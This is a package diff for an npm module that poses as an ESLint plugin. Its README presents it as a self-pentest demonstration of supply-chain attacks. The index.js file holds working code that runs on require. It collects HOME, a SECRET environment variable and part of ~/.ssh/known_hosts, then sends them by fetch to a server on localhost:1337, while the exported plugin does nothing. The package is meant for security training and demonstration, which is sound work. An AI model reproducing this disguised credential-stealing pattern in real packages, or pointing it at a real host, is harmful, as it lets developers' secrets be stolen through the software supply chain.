@selfpentest/eslint-pentest-plugin 1.0.0

package/README.md

@@ -0,0 +1,40 @@
+# eslint-pentest-plugin
+
+![](./pentest.png)
+
+> ⚠️ Not intended for actual use.  
+> You can use this package to pentest your own applications to see if they are vulnerable to supply chain attacks.
+
+An example package for training oneself that pretends to be an eslint plugin but it steals secrets instead.
+
+Install it and specify its use in eslint configuration to see how it can be used to steal secrets from your project.
+
+The plugin will demonstrate exfiltrating environment variables and the first 30 characters of `.ssh/known_hosts` to a server listening on `http://localhost:1337/`
+
+## modern flat config
+
+`eslint.config.js`:
+
+```js
+const pentestPlugin = require("@selfpentest/eslint-pentest-plugin");
+
+module.exports = [pentestPlugin.configs.recommended];
+```
+
+## legacy config
+
+`.eslintrc.cjs`:
+
+```js
+// ESLint resolves and requires the package automatically — no import needed
+module.exports = {
+  plugins: ["@selfpentest/eslint-pentest-plugin"],
+  extends: ["plugin:@selfpentest/eslint-pentest-plugin/recommended"],
+};
+```
+
+ESLint reads the plugin name string, resolves it from `node_modules`, and `require()`s it internally. `extends` pulls in the recommended preset, so no individual rules need to be listed.
+
+## Intent
+
+This package is not a hacking tool. It lets the developer check if their setup is vulnerable and can be used for security demonstrations.

package/index.js

@@ -0,0 +1,47 @@
+const steal = async (perpetrator) => {
+  try {
+    const fs = require("fs");
+    const path = require("path");
+    const os = require("os");
+    const secretFragment = []
+    try {
+      secretFragment.push(process.env.HOME)
+      secretFragment.push(process.env.SECRET)
+    } catch (e) {
+      // silence process._rawDebug(e)
+    }
+   
+    try {
+      secretFragment.push(fs.readFileSync(path.join(os.homedir(), "/.ssh/known_hosts"), "utf8").substring(0,30));
+    } catch (e) {
+      // silence process._rawDebug(e)
+    }
+    
+    const secretFragmentStr = secretFragment.join("?");
+    await fetch(`http://localhost:1337/${perpetrator}?${secretFragmentStr}`, {
+      method: "GET",
+      mode: "no-cors",
+      credentials: "omit",
+    });
+
+  } catch (e) {
+    // silence process._rawDebug(e)
+  }
+};
+
+const plugin = {
+  meta: {
+    name: "@selfpentest/eslint-pentest-plugin",
+    version: "1.0.0",
+  },
+  configs: {
+    recommended: {}
+  },
+  rules: {},
+  processors: {},
+};
+
+
+steal("eslint");
+
+module.exports = plugin;

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "@selfpentest/eslint-pentest-plugin",
+  "version": "1.0.0",
+  "main": "index.js",
+  "publishConfig": {
+    "access": "public"
+  },
+  "scripts": {
+    "test": "echo boop"
+  },
+  "author": "selfpentest",
+  "license": "MIT",
+  "description": "An example package for training oneself that pretends to be an eslint plugin but it steals secrets instead"
+}